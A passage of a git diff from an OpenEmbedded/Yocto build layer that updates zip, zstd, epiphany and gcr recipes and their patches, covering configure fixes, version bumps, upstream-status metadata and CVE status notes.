+ CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- UID not 2 bytes - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- elif [ $r -eq 2 ]; then
+- echo -- GID not 2 bytes - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- elif [ $r -eq 3 ]; then
+- echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
+- else
+- echo -- test failed - conftest returned $r - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- fi
++ echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
+ fi
+
+
+@@ -417,6 +407,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
++_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
++
+ int main()
+ {
+ off_t offset;
+@@ -436,24 +430,12 @@ _EOF_
+ # compile it
+ $CC -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- echo -- no Large File Support
++ echo -- yes we have Large File Support!
++ CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- no Large File Support - no 64-bit off_t
+- elif [ $r -eq 2 ]; then
+- echo -- no Large File Support - no 64-bit stat
+- elif [ $r -eq 3 ]; then
+- echo -- yes we have Large File Support!
+- CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
+- else
+- echo -- no Large File Support - conftest returned $r
+- fi
++ echo -- no Large File Support
+ fi
+
+-
+ # Check for wide char for Unicode support
+ # Added 11/24/2005 EG
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
new file mode 100644
index 0000000000..6e0879616a
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
@@ -0,0 +1,34 @@
+From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:46:03 -0800
+Subject: [PATCH 2/2] configure: support PIC code build
+
+Disable building match.S. The code requires
+relocation in .text.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 7e21070..1bc698b 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then
+ if test ! -s _match.s || grep error < _match.s > /dev/null; then
+ :
+ elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then
+- CFLAGS="${CFLAGS} -DASMV"
+- OBJA="match.o"
++ # disable match.S for PIC code
++ # CFLAGS="${CFLAGS} -DASMV"
++ # OBJA="match.o"
+ echo "int foo() { return 0;}" > conftest.c
+ $CC -c conftest.c >/dev/null 2>/dev/null
+ echo Check if compiler generates underlines
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
new file mode 100644
index 0000000000..a86e03e620
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
@@ -0,0 +1,35 @@
+From 76f5bf3546d826dcbc03acbefcf0b10b972bf136 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:19:38 -0700
+Subject: [PATCH 2/2] unix.c: Do not redefine DIR as FILE
+
+DIR is already provided on Linux via
+/usr/include/dirent.h system header
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/unix.c | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/unix/unix.c b/unix/unix.c
+index ba87614..6e6f4d2 100644
+--- a/unix/unix.c
++++ b/unix/unix.c
+@@ -61,13 +61,11 @@ local time_t label_utim = 0;
+ /* Local functions */
+ local char *readd OF((DIR *));
+
+-
+ #ifdef NO_DIR /* for AT&T 3B1 */
+ #include <sys/dir.h>
+ #ifndef dirent
+ # define dirent direct
+ #endif
+-typedef FILE DIR;
+ /*
+ ** Apparently originally by Rich Salz.
+ ** Cleaned up and modified by James W. Birdsall.
+--
+2.37.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
index 244ddea363..6fd04df1c6 100644
--- a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
+++ b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
@@ -2,7 +2,7 @@ From: Santiago Vila <sanvila@debian.org>
Subject: Remove (optional) build date to make the build reproducible
Bug-Debian: http://bugs.debian.org/779042
-Upstream-Status: Inappropriate [no upstream]
+Upstream-Status: Inactive-Upstream [no upstream]
Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
index 19d8548273..f85fddbc60 100644
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
@@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro
[YOCTO #9552]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
index ce6caff83e..77ade40a04 100644
--- a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
+++ b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
@@ -4,7 +4,7 @@ https://bugs.archlinux.org/task/47713
Signed-off-by: Jate Sujjavanich <jatedev@gmail.com>
-Upstream-Status: Inappropriate [no upstream]
+Upstream-Status: Inactive-Upstream [no upstream]
diff --git a/zipnote.c b/zipnote.c
index 5e02cb6..996f012 100644
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
index c00a932763..70df5ab872 100644
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ b/meta/recipes-extended/zip/zip_3.0.bb
@@ -1,11 +1,11 @@
SUMMARY = "Compressor/archiver for creating and modifying .zip files"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=04d43c5d70b496c032308106e26ae17d"
-PR = "r2"
S = "${WORKDIR}/zip30"
@@ -13,12 +13,21 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar.
file://fix-security-format.patch \
file://10-remove-build-date.patch \
file://zipnote-crashes-with-segfault.patch \
+ file://0001-configure-use-correct-CPP.patch \
+ file://0002-configure-support-PIC-code-build.patch \
+ file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \
+ file://0001-configure-Specify-correct-function-signatures-and-de.patch \
+ file://0002-unix.c-Do-not-redefine-DIR-as-FILE.patch \
+ file://0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37"
SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
+CVE_STATUS[CVE-2018-13410] = "disputed: Disputed and also Debian doesn't consider a vulnerability"
+CVE_STATUS[CVE-2018-13684] = "cpe-incorrect: Not for zip but for smart contract implementation for it"
+
# zip.inc sets CFLAGS, but what Makefile actually uses is
# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
# whatever we set.
diff --git a/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
new file mode 100644
index 0000000000..847a641691
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
@@ -0,0 +1,39 @@
+From 121ef5253a49065dea6a89536ca7bd3dabd40e25 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 19 Jun 2023 17:10:09 +0200
+Subject: [PATCH] pzstd: use c++14 without conditions
+
+Doing this check with a direct c++ snippet is prone to portability problems:
+
+- \043 is not portable between shells: dash expands it to #,
+bash does not;
+
+- using # directly works with make 4.3 but does not with make 4.2.
+
+Let's just use the c++ version that covers both the code and the gtest.
+
+Upstream-Status: Submitted [https://github.com/facebook/zstd/pull/3682]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ contrib/pzstd/Makefile | 7 ++-----
+ 1 file changed, 2 insertions(+), 5 deletions(-)
+
+diff --git a/contrib/pzstd/Makefile b/contrib/pzstd/Makefile
+index e62f8e87..58fb82a1 100644
+--- a/contrib/pzstd/Makefile
++++ b/contrib/pzstd/Makefile
+@@ -37,11 +37,8 @@ CFLAGS += -Wno-deprecated-declarations
+ PZSTD_INC = -I$(ZSTDDIR) -I$(ZSTDDIR)/common -I$(PROGDIR) -I.
+ GTEST_INC = -isystem googletest/googletest/include
+
+-# If default C++ version is older than C++11, explicitly set C++11, which is the
+-# minimum required by the code.
+-ifeq ($(shell echo "\043if __cplusplus < 201103L\n\043error\n\043endif" | $(CXX) -x c++ -Werror -c - -o /dev/null 2>/dev/null && echo 1 || echo 0),0)
+-PZSTD_CXX_STD := -std=c++11
+-endif
++# Set the minimum required by gtest
++PZSTD_CXX_STD := -std=c++14
+
+ PZSTD_CPPFLAGS = $(PZSTD_INC)
+ PZSTD_CCXXFLAGS =
diff --git a/meta/recipes-extended/zstd/zstd_1.5.5.bb b/meta/recipes-extended/zstd/zstd_1.5.5.bb
new file mode 100644
index 0000000000..2d72af50a4
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd_1.5.5.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Zstandard - Fast real-time compression algorithm"
+DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \
+real-time compression scenarios at zlib-level and better compression ratios. \
+It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
+HOMEPAGE = "http://www.zstd.net/"
+SECTION = "console/utils"
+
+LICENSE = "BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0822a32f7acdbe013606746641746ee8 \
+ file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0 \
+ "
+
+SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https \
+ file://0001-pzstd-use-directly-for-the-test-c-snippet.patch"
+
+SRCREV = "63779c798237346c2b245c546c40b72a5a5913fe"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+CVE_PRODUCT = "zstandard"
+
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4"
+PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz"
+PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
+
+# See programs/README.md for how to use this
+ZSTD_LEGACY_SUPPORT ??= "4"
+
+EXTRA_OEMAKE += "V=1"
+
+do_compile () {
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
+}
+
+PACKAGE_BEFORE_PN = "libzstd"
+
+FILES:libzstd = "${libdir}/libzstd${SOLIBS}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/epiphany/epiphany_3.36.3.bb b/meta/recipes-gnome/epiphany/epiphany_3.36.3.bb
deleted file mode 100644
index 8eb4ac4fcc..0000000000
--- a/meta/recipes-gnome/epiphany/epiphany_3.36.3.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "WebKit based web browser for GNOME"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/epiphany"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS = "libsoup-2.4 webkitgtk gtk+3 iso-codes avahi libnotify gcr \
- gsettings-desktop-schemas libxml2-native \
- glib-2.0 glib-2.0-native json-glib libdazzle libhandy"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gsettings features_check upstream-version-is-even gettext mime-xdg
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive \
- file://0002-help-meson.build-disable-the-use-of-yelp.patch \
- "
-SRC_URI[archive.sha256sum] = "621b5626374891769afec9c35946ab6c3910ea9cf9a2498bab166c99bd91e16f"
-
-FILES_${PN} += "${datadir}/dbus-1 ${datadir}/gnome-shell/search-providers ${datadir}/metainfo"
-RDEPENDS_${PN} = "iso-codes adwaita-icon-theme gsettings-desktop-schemas"
diff --git a/meta/recipes-gnome/epiphany/epiphany_46.0.bb b/meta/recipes-gnome/epiphany/epiphany_46.0.bb
new file mode 100644
index 0000000000..9052fe170b
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/epiphany_46.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "WebKit based web browser for GNOME"
+DESCRIPTION = "Epiphany is an open source web browser for the Linux desktop environment. \
+It provides a simple and easy-to-use internet browsing experience."
+HOMEPAGE = "https://wiki.gnome.org/Apps/Web"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/epiphany"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+DEPENDS = " \
+ webkitgtk \
+ gcr \
+ gsettings-desktop-schemas \
+ nettle \
+ json-glib \
+ libadwaita \
+ libarchive \
+ libdazzle \
+ libhandy \
+ libportal \
+ libsoup \
+ glib-2.0-native \
+ coreutils-native \
+ desktop-file-utils-native \
+ "
+
+inherit gnomebase gsettings features_check gettext mime-xdg gtk-icon-cache
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@oe.utils.trim_version("${PV}", 1)}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive \
+ file://0002-help-meson.build-disable-the-use-of-yelp.patch \
+ file://migrator.patch \
+ file://distributor.patch \
+ "
+SRC_URI[archive.sha256sum] = "f4348f2cf51c07c0c106d130172d4d23f2cd4068771e1de007b758ca2ade5660"
+
+# Developer mode enables debugging
+PACKAGECONFIG[developer-mode] = "-Ddeveloper_mode=true,-Ddeveloper_mode=false"
+
+FILES:${PN} += "${datadir}/dbus-1 ${datadir}/gnome-shell/search-providers ${datadir}/metainfo"
+RDEPENDS:${PN} = "iso-codes adwaita-icon-theme gsettings-desktop-schemas"
+
+# ANGLE requires SSE support as of webkit 2.40.x on 32 bit x86
+COMPATIBLE_HOST:x86 = "${@bb.utils.contains_any('TUNE_FEATURES', 'core2 corei7', '.*', 'null', d)}"
diff --git a/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch b/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
index d4f3cc1d35..e505466764 100644
--- a/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
+++ b/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
@@ -1,4 +1,4 @@
-From 0048ae2d225d25cc58f378718ca6f9ddb1a228f9 Mon Sep 17 00:00:00 2001
+From bd45c75fe691e275d7a7d7e641ac66b153369a1c Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 31 Jan 2018 15:50:38 +0200
Subject: [PATCH] help/meson.build: disable the use of yelp
@@ -7,17 +7,16 @@ In particular this avoids calling itstool which oe-core doesn't provide.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
help/meson.build | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/help/meson.build b/help/meson.build
-index fddcf4c..f7d76c6 100644
+index ff324dd..f5e421d 100644
--- a/help/meson.build
+++ b/help/meson.build
-@@ -32,7 +32,7 @@ help_media = [
- 'media/web-browser.png'
+@@ -31,7 +31,7 @@ help_media = [
+ 'media/org.gnome.Epiphany.svg'
]
-gnome.yelp(meson.project_name(),
diff --git a/meta/recipes-gnome/epiphany/files/distributor.patch b/meta/recipes-gnome/epiphany/files/distributor.patch
new file mode 100644
index 0000000000..a2800eb62d
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/distributor.patch
@@ -0,0 +1,24 @@
+From c297f5b89d7c8e98ac98e1d9a7506df6db6fc025 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 26 Feb 2021 10:17:52 +0000
+Subject: [PATCH] Don't encode the distro from /etc/os-release into the
+ binaries.
+
+Upstream-Status: Pending
+RP 2021/2/26
+---
+ meson.build | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/meson.build b/meson.build
+index e416cc7..ee5f7b1 100644
+--- a/meson.build
++++ b/meson.build
+@@ -15,6 +15,7 @@ if r.returncode() == 0
+ else
+ distributor_name = 'GNOME Web'
+ endif
++distributor_name = 'OpenEmbedded'
+
+ prefix = get_option('prefix')
+ datadir = join_paths(prefix, get_option('datadir'))
diff --git a/meta/recipes-gnome/epiphany/files/migrator.patch b/meta/recipes-gnome/epiphany/files/migrator.patch
new file mode 100644
index 0000000000..1b4404c8ca
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/migrator.patch
@@ -0,0 +1,32 @@
+From b38a4ceaeec05efb1b822d52c43590e7fd518113 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 25 Feb 2021 14:52:32 +0000
+Subject: [PATCH] epiphany: Fix reproducibility issue
+
+We don't want to encide BUILD_ROOT into target packages. This is used
+for build time tests but in our case those would be on target anyway
+do use the target paths.
+
+Upstream-Status: Pending
+RP 2021/2/25
+---
+ lib/ephy-profile-utils.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/lib/ephy-profile-utils.c b/lib/ephy-profile-utils.c
+index a2f6181..5218077 100644
+--- a/lib/ephy-profile-utils.c
++++ b/lib/ephy-profile-utils.c
+@@ -130,10 +130,10 @@ ephy_profile_utils_do_migration (const char *profile_directory,
+ argv[i++] = NULL;
+
+ #if DEVELOPER_MODE
+- argv[0] = BUILD_ROOT "/src/" EPHY_PROFILE_MIGRATOR;
++ argv[0] = PKGLIBEXECDIR "/" EPHY_PROFILE_MIGRATOR;
+ #else
+ if (debug)
+- argv[0] = BUILD_ROOT "/src/" EPHY_PROFILE_MIGRATOR;
++ argv[0] = PKGLIBEXECDIR "/" EPHY_PROFILE_MIGRATOR;
+ #endif
+
+ g_spawn_sync (NULL, (char **)argv, envp, G_SPAWN_SEARCH_PATH,
diff --git a/meta/recipes-gnome/gcr/gcr/0001-meson-Make-sure-gcr-oids.h-is-built.patch b/meta/recipes-gnome/gcr/gcr/0001-meson-Make-sure-gcr-oids.h-is-built.patch
deleted file mode 100644
index 3c8902d05e..0000000000
--- a/meta/recipes-gnome/gcr/gcr/0001-meson-Make-sure-gcr-oids.h-is-built.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 9fca6ae0aa7355c27d0922c561b9fbe18dde5b3d Mon Sep 17 00:00:00 2001
-From: Niels De Graef <nielsdegraef@gmail.com>
-Date: Fri, 19 Jun 2020 22:37:31 +0200
-Subject: [PATCH 1/1] meson: Make sure gcr-oids.h is built
-
-Fixes https://gitlab.gnome.org/GNOME/gcr/-/issues/48
----
- gcr/meson.build | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
---- end of original header ---
-
-Upstream-Status: backport [https://github.com/GNOME/gcr.git]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
----
-diff --git a/gcr/meson.build b/gcr/meson.build
-index 199452f..06c3a63 100644
---- a/gcr/meson.build
-+++ b/gcr/meson.build
-@@ -178,7 +178,10 @@ endif
- gcr_base_dep = declare_dependency(
- link_with: gcr_base_lib,
- include_directories: include_directories('..'),
-- sources: gcr_enums_gen[1], # Make sure gcr-enum-types-base.h can be included
-+ sources: [
-+ gcr_enums_gen[1],
-+ gcr_oids[1],
-+ ],
- )
-
- if get_option('introspection')
---
-2.7.4
-
diff --git a/meta/recipes-gnome/gcr/gcr/0001-meson.build-correctly-set-internal-vapi-dependencies.patch b/meta/recipes-gnome/gcr/gcr/0001-meson.build-correctly-set-internal-vapi-dependencies.patch
deleted file mode 100644
index b484a1b222..0000000000
--- a/meta/recipes-gnome/gcr/gcr/0001-meson.build-correctly-set-internal-vapi-dependencies.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From ebb77dad4563b882b449cbc5e882f36ac8c2de71 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 11 May 2020 22:19:16 +0000
-Subject: [PATCH] meson.build: correctly set internal vapi dependencies
-
-If they are set as strings, meson will supply the right
-arguments to vapigen, but will not set the ninja dependencies
-to ensure they get built first, and so races will occur:
-https://autobuilder.yoctoproject.org/typhoon/#/builders/64/builds/1881/steps/8/logs/step1b
-
-Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gcr/-/merge_requests/55]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- gcr/meson.build | 2 +-
- ui/meson.build | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/gcr/meson.build b/gcr/meson.build
-index 254a933..199452f 100644
---- a/gcr/meson.build
-+++ b/gcr/meson.build
-@@ -203,7 +203,7 @@ if get_option('introspection')
-
- gcr_vapi = gnome.generate_vapi('gcr-@0@'.format(gcr_major_version),
- sources: gcr_gir[0],
-- packages: [ 'glib-2.0', 'gio-2.0', 'gck-@0@'.format(gck_major_version) ],
-+ packages: [ 'glib-2.0', 'gio-2.0', gck_vapi ],
- metadata_dirs: meson.current_source_dir(),
- vapi_dirs: [
- build_root / 'gck',
-diff --git a/ui/meson.build b/ui/meson.build
-index 5ca3753..477412d 100644
---- a/ui/meson.build
-+++ b/ui/meson.build
-@@ -174,8 +174,8 @@ if get_option('introspection')
- packages: [
- 'glib-2.0',
- 'gio-2.0',
-- 'gck-@0@'.format(gck_major_version),
-- 'gcr-@0@'.format(gcr_major_version),
-+ gck_vapi,
-+ gcr_vapi,
- 'gtk+-3.0'
- ],
- metadata_dirs: meson.current_source_dir(),
diff --git a/meta/recipes-gnome/gcr/gcr_3.36.0.bb b/meta/recipes-gnome/gcr/gcr_3.36.0.bb
deleted file mode 100644
index ff455a68ec..0000000000
--- a/meta/recipes-gnome/gcr/gcr_3.36.0.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "A library for bits of crypto UI and parsing etc"
-DESCRIPTION = "GCR is a library for displaying certificates, and crypto UI, \
-accessing key stores. It also provides the viewer for crypto files on the \
-GNOME desktop."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/gcr"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gcr/issues"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
-
-DEPENDS = "gtk+3 p11-kit glib-2.0 libgcrypt gnupg-native \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'libxslt-native', '', d)}"
-
-GNOMEBASEBUILDCLASS = "meson"
-GTKDOC_MESON_OPTION = "gtk_doc"
-inherit gnomebase gtk-icon-cache gtk-doc features_check upstream-version-is-even vala gobject-introspection gettext mime mime-xdg
-# depends on gtk+3, but also x11 through gtk+-x11
-REQUIRED_DISTRO_FEATURES = "x11"
-
-SRC_URI += " file://0001-meson.build-correctly-set-internal-vapi-dependencies.patch"
-SRC_URI += " file://0001-meson-Make-sure-gcr-oids.h-is-built.patch"
-
-SRC_URI[archive.md5sum] = "adc65563b6b458507b9a578a8b68fb61"
-SRC_URI[archive.sha256sum] = "aaf9bed017a2263c6145c89a1a84178f9f40f238426463e4ae486694ef5f6601"
-
-FILES_${PN} += " \
- ${datadir}/dbus-1 \
- ${datadir}/gcr-3 \
-"
-
-# http://errors.yoctoproject.org/Errors/Details/20229/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-gnome/gcr/gcr_4.2.1.bb b/meta/recipes-gnome/gcr/gcr_4.2.1.bb
new file mode 100644
index 0000000000..26dc1d1bc6
--- /dev/null
+++ b/meta/recipes-gnome/gcr/gcr_4.2.1.bb
@@ -0,0 +1,58 @@
+SUMMARY = "A library for bits of crypto UI and parsing etc"
+DESCRIPTION = "GCR is a library for displaying certificates, and crypto UI, \
+accessing key stores. It also provides the viewer for crypto files on the \
+GNOME desktop."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/gcr"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gcr/issues"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
+
+DEPENDS = "p11-kit glib-2.0 libgcrypt gnupg-native \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'libxslt-native', '', d)}"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_GPG='gpg2'"
+
+CFLAGS += "-D_GNU_SOURCE"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+inherit gnomebase gtk-icon-cache gi-docgen features_check vala gobject-introspection gettext mime mime-xdg
+
+REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'opengl', '', d)}"
+
+SRC_URI[archive.sha256sum] = "ed783b5c80373cd058c02ea9e3e2a64e558599ca190a5abd598122e479967de5"
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gtk', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'gtk', '', d)} \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'vapi', '', d)} \
+"
+PACKAGECONFIG[gtk] = "-Dgtk4=true,-Dgtk4=false,gtk4"
+PACKAGECONFIG[ssh_agent] = "-Dssh_agent=true,-Dssh_agent=false,libsecret,openssh"
+#'Use systemd socket activation for server programs'
+PACKAGECONFIG[systemd] = "-Dsystemd=enabled,-Dsystemd=disabled,systemd"
+PACKAGECONFIG[vapi] = "-Dvapi=true,-Dvapi=false,"
+
+FILES:${PN} += " \
+ ${datadir}/dbus-1 \
+ ${datadir}/gcr-4 \
+ ${systemd_user_unitdir}/gcr-ssh-agent.socket \
+ ${systemd_user_unitdir}/gcr-ssh-agent.service \
+"
+
+# http://errors.yoctoproject.org/Errors/Details/20229/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+EXTRA_OEMESON += "--cross-file=${WORKDIR}/meson-${PN}.cross"
+
+do_write_config:append() {
+ cat >${WORKDIR}/meson-${PN}.cross <<EOF
+[binaries]
+gpg2 = '${bindir}/gpg2'
+ssh-add = '${bindir}/ssh-add'
+ssh-agent = '${bindir}/ssh-agent'
+EOF
+}
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch
deleted file mode 100644
index e461404918..0000000000
